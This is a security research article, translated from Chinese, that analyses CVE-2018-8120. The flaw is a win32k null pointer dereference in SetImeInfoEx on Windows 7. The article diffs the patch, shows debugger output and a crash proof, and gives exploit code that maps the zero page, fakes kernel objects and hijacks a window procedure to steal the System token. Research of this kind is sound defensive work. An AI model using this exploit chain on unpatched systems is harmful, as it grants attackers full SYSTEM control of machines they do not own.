Microsoft shipped and fixed four win32k kernel Escalation of Privilege vulnerabilities in the May security bulletin. This article will discover and analyze one of these vulnerabilities caused by a null pointer dereference fixed by the patch program, and will finally attempt to implement its proof and exploitation code. The analyzing and debugging process will take place in a virtual machine of Windows 7 x86 SP1 basic environment.
To avoid attacks from exploiting this vulnerability, users who are using Windows operating system must install the latest official security updates as soon as possible.
This article discovers and analyzes a kernel Escalation of Privilege vulnerability caused by a null pointer dereference in the win32k kernel module by matching the patch. According to the information released by FortiGuard Labs, the bug is CVE-2018-8120 that was fixed in the May patch. The vulnerability exists in the kernel function SetImeInfoEx
. In the case where the pointer field spklList
of the target window station has not been validated, the function directly reads the memory address pointed to by the field.
It is possible that the value of field spklList
of window station tagWINDOWSTATION
object reaches 0
. If an user process creates a window station whose filed spklList
points to NULL
address, and associates the window station with the current process, at the time when calling system service NtUserSetImeInfoEx
to set extended IME information, the kernel function SetImeInfoEx
would access the memory in zero page which is located in the user address space. The operation of the function will cause the page fault exception, resulting in the occurrence of the system BSOD.
If the exploitation code in the user process allocates zero page memory in advance, to make the zero page mapped, and crafts some fake kernel objects in the zero page, the data in the zero page will be mistaken for a correct keyboard layout tagKL
node object by the kernel function, which implements the arbitrary address writing primitive. Using the implemented writing primitive to override the function pointer field of a particular kernel object (such as tagWND
), or to modify the relevant flag bits that represent kernel mode or user mode execution, the ability of arbitrary code execution is then implemented, the kernel Escalation of Privilege is achieved ultimately as well.
According to comparing the win32k.sys
module file in the patch program of the May security bulletin with the file of the April update, it is discovered that such functions are modified in the latest update:
Matching list of modified functions in the patches
With the check of these modified functions one by one, function SetImeInfoEx
is noticed that its code block changes as below:
Comparison of function SetImeInfoEx in the patches
The left is the code blocks of function SetImeInfoEx
in the May patch, while the right is in the April patch. It is clear that there are some new directly returning judgement code blocks at the beginning of the updated function. Further details of the function are observed in IDA:
Before patch:
if ( winSta )
{
pkl = winSta->spklList;
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
return bReturn;
After patch:
if ( winSta && (pklFirst = winSta->spklList) != 0 )
{
pkl = winSta->spklList;
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == pklFirst )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
else
{
bReturn = 0;
}
return bReturn;
By comparing the two code blocks, it can be found that a judgement whether the value of field spklList
has reached zero
is added in the function in the patch. If so, the function returns directly. Coincidentally, function ReorderKeyboardLayouts
in the patched functions list is found having added such judgement code as well. There is good reason to believe that these two patches are likely to fix a null pointer dereference problem that existed in old versions.
According to the previous patch comparison, the vulnerability is found in function SetImeInfoEx
. There is only a reference to function SetImeInfoEx
in win32k.sys
module which is in system service function NtUserSetImeInfoEx
. System service function NtUserSetImeInfoEx
function is an interface provided by the operating system, which is used to set the input method extension information object defined by the user process to a keyboard layout node object in the window station associated with the current process.
Window Station
A window station object is a securable object, which contains a clipboard, an atom table, and one or more desktop objects. Each window station object exists in the kernel as an instance of structure tagWINDOWSTATION
:
kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
Definition of structure tagWINDOWSTATION
Field spklList
of the structure is a pointer to the first node of the associated keyboard layout tagKL
object linked list. Keyboard layout tagKL
structure is defined as below:
kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
Definition of structure tagKL
Field piiex
of keyboard layout structure points to the associated extended IME information object. The object pointed to by this field will be used as the target address of the memory copy in function SetImeInfoEx
. Field pklNext
and pklPrev
are pointers to the next and the previous node objects. The keyboard layout object list is linked up by the two pointer fields.
When a window station object is associated with the specified process, its address is stored into field rpwinsta
of the target process information tagPROCESSINFO
object.
The window station automatically associated with a new process is the interactive window station created by the system, whose field spklList
points to a real node of keyboard layout object. When an interactive user logs on, the system associates the interactive window station with the user logon session. A process automatically establishes a connection to a window station when it first calls a USER32 or GDI32 function (other than the window station and desktop functions).
When function CreateWindowStation
is being called to create a new window station object, in the end kernel function xxxCreateWindowStation
is called in the kernel context to perform the creation operation. During the execution, field spklList
of the new window station has not been initialized and will always point to NULL
address.
SetImeInfoEx
Kernel function SetImeInfoEx
is used to copy the extended IME information tagIMEINFOEX
object pointed to by parameter imeInfoEx
to the extended IME info buffer pointed to by field piiex
of the target keyboard layout tagKL
object. Extended IME information tagIMEINFOEX
structure is defined as below:
kd> dt win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit
Definition of structure tagIMEINFOEX
After probing the memory address of the source tagIMEINFOEX
object from parameter, function NtUserSetImeInfoEx
retrieves the window station pointer of the current process using _GetProcessWindowStation
, and passes the address of the window station and the source tagIMEINFOEX
object from parameter into the call of function SetImeInfoEx
as the parameters.
if ( *(_BYTE *)gpsi & 4 )
{
ms_exc.registration.TryLevel = 0;
v2 = imeInfoEx;
if ( (unsigned int)imeInfoEx >= W32UserProbeAddress )
v2 = (tagIMEINFOEX *)W32UserProbeAddress;
v3 = (char)v2->hkl;
qmemcpy(&v6, imeInfoEx, 0x15Cu);
ms_exc.registration.TryLevel = -2;
v4 = _GetProcessWindowStation(0);
bReturn = SetImeInfoEx(v4, &v6);
}
Code snippet of function NtUserSetImeInfoEx
The function retrieves the address of the first node object in the keyboard layout tagKL
list pointed to by field spklList
of the window station object pointed to by parameter winSta
. Then the function starts to traverse the tagKL
list from the first node, until field spklList
of the object points back to the first node. The function judges whether field hkl
of each object is equal to field hkl
of the source extended IME information object. The two fields are both HKL
typed keyboard layout object handle.
When an equal node is matched, it means the match was successful. Then the function judges whether field piiex
of target tagKL
object points to a real keyboard layout buffer, and wheter the value of field fLoadFlag
is FALSE
. If so, the address of the keyboard layout buffer pointed to by field piiex
will be used as the target address, the data of the source extended IME information object pointed to by parameter imeInfoEx
will be copied into the target address.
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
[...]
if ( winSta )
{
pkl = winSta->spklList;
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
return bReturn;
}
Code snippet of function SetImeInfoEx
According to the information obtained in the previous comparsion sections, the patch program adds a judgement whether field spklList
of the window object is null in the function. This means that there is a possibility that the field holds a null value. When the value is null, the function reads zero page data directly without any judgement. If the zero page has not been mapped in the current process context, the function will trigger a page fault exception, causing the BSOD to occur in the system.
The previous section analyzes the details of the vulnerability. The next step is to attempt to construct a proof code based on the obtained conditions to reproduce the vulnerability triggering scene.
The triggering of the vulnerability requires the process associated a window station object whose field spklList
points to null address. Firstly create such a window station using the interface function CreateWindowStation
, and associate the newly created window station object with the current process by calling function SetProcessWindowStation
. This eventually causes the address of the new window station to be stored into field rpwinsta
of the tagPROCESSINFO
object in the current process in the kernel.
SECURITY_ATTRIBUTES sa = { 0 };
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
SetProcessWindowStation(hWinStat);
Proof code of creating and associating window station
Pointer field spklList
of the newly created window station object points to null address:
kd> dt win32k!tagWINDOWSTATION 85dfefa8
+0x000 dwSessionId : 1
+0x004 rpwinstaNext : (null)
+0x008 rpdeskList : (null)
+0x00c pTerm : 0x94b0eb80 tagTERMINAL
+0x010 dwWSF_Flags : 4
+0x014 spklList : (null)
[...]
Field spklList of new window station points to null address
Next, system service function NtUserSetImeInfoEx
need to be called in the user process in order to make the execution flow enter function SetImeInfoEx
in the kernel.
BOOL __declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}
NtUserSetImeInfoEx interface implemented by proof code
Function NtUserSetImeInfoEx
has only one parameter, which is a pointer to the source extended IME information object. Define such a source extended IME information object in the user process and pass the address into the call to function NtUserSetImeInfoEx
.
tagIMEINFOEX iiFaked = { 0 };
bReturn = xxNtUserSetImeInfoEx(&iiFaked);
Proof code of calling NtUserSetImeInfoEx
Since field spklList
of the window station object associated with the current process points to null address and the zero page memory where the null address is located is not mapped at this time, when kernel function SetImeInfoEx
attempting to access zero page memory an access violation exception would be triggered. The abnormality of the violation resulted in the occurrence of the system BSOD.
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
9490007c 395014 cmp dword ptr [eax+14h],edx
kd> r eax
eax=00000000
kd> k
# ChildEBP RetAddr
00 98a1ba90 9490003d win32k!SetImeInfoEx+0x17
01 98a1bc28 83e471ea win32k!NtUserSetImeInfoEx+0x65
02 98a1bc28 0016f2eb nt!KiFastCallEntry+0x12a
03 3378fbf4 0016f4c5 TempDemo!xxNtUserSetImeInfoEx+0xb
04 3378fdfc 0016f1ca TempDemo!xxTrackExploitEx+0x155
Function SetImeInfoEx accessing zero page memory results in access violation
The previous section analyzed the details of the vulnerability and constructed the proof code for the vulnerability. Next, according to the proof code, the kernel exploit code with this vulnerability will be implemented.
Implementation of Arbitrary Address Writing
Window station object is a kind of kernel object. Under normal circumstances, user processes can only control the member data of kernel objects extremely limited with only a set of specific interface functions. When some members of a kernel object accidentally points to a memory address in user address space, such as null address, the exploitation code in the user process will be able to achieve a greater range of control by allocating such a memory page and using specific memory layouts.
In the exploitation code, a memory block whose base address in the zero page memory should be firstly allocated to make the zero page mapped.
PVOID MemAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(),
&MemAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
ZeroMemory(MemAddr, MemSize);
Exploitation code allocating zero page memory
The next step is to construct the data in the zero page to satisfy the access condition of function SetImeInfoEx
. Since field spklList
of window station object points to a tagKL
typed object, it is needed to treat the memory block starting from null address as a tagKL
typed object, as well as to initialize several critical fields.
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)0xCCCCCCCC; // tagKL->piiex
Initializing the fake tagKL object
Function SetImeInfoEx
traverses the list via field pklNext
of each tagKL
node object as the index, and matches field hkl
. So field pklNext
of faked tagKL
object should be set to the base address of the faked object itself, while field hkl
should be set to the same value as field hkl
of the source extended IME information object.
When the matched tagKL
node object is found, function SetImeInfoEx
writes the data of the source tagIMEINFOEX
object from parameter into the buffer pointed to by field piiex
of the target tagKL
object. The arbitrary address writing primitive would be implemented.
Implementation of Arbitrary Code Execution
The most common way of kernel privilege escalation is to replace the Token
pointer of the current process EPROCESS
object with the one of System process. Unfortunately, up to now, the arbitrary address writing primitive has been implemented, but the arbitrary address reading primitive not, which makes it more difficult to replace the Token
pointer of the process.
An easy way is to replace the function pointer field of a kernel object with the address of a function that is implemented by the code in the user address space as well as to modify the relevant flag bits that represent kernel state or user state execution using the arbitrary address writing primitive, so that the function code in the user address space would be executed directly in the kernel when the object handling specific events, and the kernel privilege escalation would be finally implemented in the function. In this analysis it would be implemented by replacing the message procedure pointer field lpfnWndProc
of target window tagWND
object.
The following ideas are: at first create a normal window object, and fill the source tagIMEINFOEX
structure with part of data of the window object, then set member flag bit bServerSideWindowProc
of window object in the source tagIMEINFOEX
structure; secondly make field piiex
of the faked tagKL
object in the null page memory point to the kernel address of target window object, so that the modified data of window object in the source tagIMEINFOEX
structure would be used to overwrite the original data of target window object. Changes to specific fields of target window object would be implemented as well.
Position correspondences between tagIMEINFOEX and tagWND
Firstly create a normal window object as the target window object. Based on the previous analysis, function SetImeInfoEx
takes the size of tagIMEINFOEX
object as the copy scope when copying. The size of tagIMEINFOEX
structure is 0x15C
bytes, which is much bigger than the size of tagWND
object. So in order to avoid the out-of-bounds access to subsequent unknown memory regions when the memory copy is executed, sufficient extra area size must be specified when registering the window class to let the full size of the window object bigger than 0x15C
bytes.
WNDCLASSEXW wc = { 0 };
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = DefWindowProcW;
wc.cbWndExtra = 0x100;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszMenuName = NULL;
wc.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
NULL,
WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
Exploitation code creating normal window object
Function SetImeInfoEx
judges the value of field fLoadFlag
of target extended IME information object at 0x48
byte offset. If the value is not FALSE
, the function would not execute the following copying operation.
Field piiex
of the faked tagKL
object points to the kernel address of target window object. The field at 0x48
byte offset in window object is subfield right
of member structure tagRECT rcWindow
. It is only when parameter dwStyle
passed into function CreateWindowEx
is set to WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP
would each subfield (such as right
) of member structure rcWindow
of the created window object be able to be 0
.
kd> ? poi(poi(0x0+0x2c)+0x48)
Evaluate expression: 0 = 00000000
kd> dt win32k!tagRECT poi(0x0+0x2c)+0x40
+0x000 left : 0n0
+0x004 top : 0n0
+0x008 right : 0n0
+0x00c bottom : 0n0
All fields of structure tagRECT rcWindow are set to zero
The next step is to retrieve the user mapped address and kernel address of the created window object using HMValidateHandle
object address leak technique. Detailed information about this technique is referenced in the literature list in "Links" section.
Copy the data of the same size of tagIMEINFOEX
structure from the user mapped address into the source tagIMEINFOEX
structure defined by the exploitation code. The retrieved kernel address of target window object is used to be the address pointed to by field piiex
of the faked tagKL
object in the null page memory.
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
pwndHunt = head->pSelf;
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)pwndHunt; // tagKL->piiex
Exploitation code copying and initializing member data
The field of tagWND
structure which is corresponding to field hkl
of tagIMEINFOEX
structure is exactly the window object handle.
Next, modify the fields of window object in the sourcetagIMEINFOEX
object. Set member flag bit bServerSideWindowProc
inside and modify the value of pointer field lpfnWndProc
.
*(DWORD *)((PBYTE)&iiFaked + 0x14) |= (DWORD)0x40000; //->bServerSideWindowProc
*(DWORD *)((PBYTE)&iiFaked + 0x60) = (DWORD)xxPayloadWindProc; //->lpfnWndProc
Exploitation code modifying data of window object
As thus, when the call of system service NtUserSetImeInfoEx
is executed, the modified member data of the window object in the source tagIMEINFOEX
structure would be used to overwrite the memory block of the target window object. After that when sending messages to target window object, kernel function xxxSendMessageTimeout
would calls custom message procedure xxPayloadWindProc
directly in the kernel context according to the set member flag bit bServerSideWindowProc
.
Implementation of Kernel Privilege Escalation
After the member flag bit bServerSideWindowProc
is set and the message procedure field of window object is modified to the address of the custom message procedure defined by the user process, when sending messages to target window object, the system would enter the custom message procedure directly in the kernel to handle messages.
In the custom message procedure, according to the current window object pointed to by parameter pwnd
, the address of associated thread information tagTHREADINFO
object can be retrieved. The address of the current process EPROCESS
object can be located at last. The next step is to locate the System process EPROCESS
object, and retrieve the Token
pointer of the System EPROCESS
object, followed replacing the Token
pointer of the current EPROCESS
object with the System Token
pointer.
The final step is to increment the pointer reference count in the object header of the System Token
object. When the function that sends the message returns to the user process, a new command prompt process need to be created.
Newly created process belongs to System identity
It can be observed that the newly created command prompt process has belonged to System user identity.
Postscript
According to the information in the security bulletin, this vulnerability occurs in Windows 7 SP1 and Windows Server 2008 version operating systems. This is because that Starting with Windows 8, in the new version operating systems Microsoft introduced a new mitigation to prevent user processes from allocating zero page memory. This kind of vulnerability will not be exploited successfully in the new systems any longer.
2018/5/15: Up to now, a sample file has already appeared on VirusTotal platform which is detected as CVE-2018-8120 exploitation by multiple AntiVirus products.
Sample file detected as CVE-2018-8120 on VirusTotal
Therefore, to avoid attacks from exploiting this vulnerability and to ensure that they are not affected by the exploitations, users who are using Windows 7 operating system must install the latest official security updates as soon as possible. According to analyzing the sample file on VirusTotal, it is found that the sample leaks the Token
pointer of System process using PsReferencePrimaryToken(*PsInitialSystemProcess)
and then writes the leaked pointer into the EPROCESS
object of the current process using the arbitrary address writing primitive and GDT rewriting/callgate exploit technique. It's another way to exploit.
Translated from my Chinese article: https://cloud.tencent.com/developer/article/2191161
0 The proof of concept of this analysis
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2018-8120/x86.cpp
1 MS.Windows.Win32k.NtUserSetImeInfoEx.Privilege.Escalation
https://fortiguard.com/encyclopedia/ips/46028
2 Window Stations
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687096(v=vs.85).aspx(https://msdn.microsoft.com/en-us/library/windows/desktop/ms687096(v=vs.85%29.aspx)
3 CVE-2015-2546 UAF ANALYSIS AND EXPLOITATION
https://cloud.tencent.com/developer/article/2191164
4 sam-b/windows_kernel_address_leaks
https://github.com/sam-b/windows_kernel_address_leaks
5 Mitigating the Exploitation of Vulnerabilities that Allow Diverting Kernel Execution Flow in Windows
6 Window Styles
https://msdn.microsoft.com/zh-CN/library/windows/desktop/ms632600(v=vs.85).aspx(https://msdn.microsoft.com/zh-CN/library/windows/desktop/ms632600(v=vs.85%29.aspx)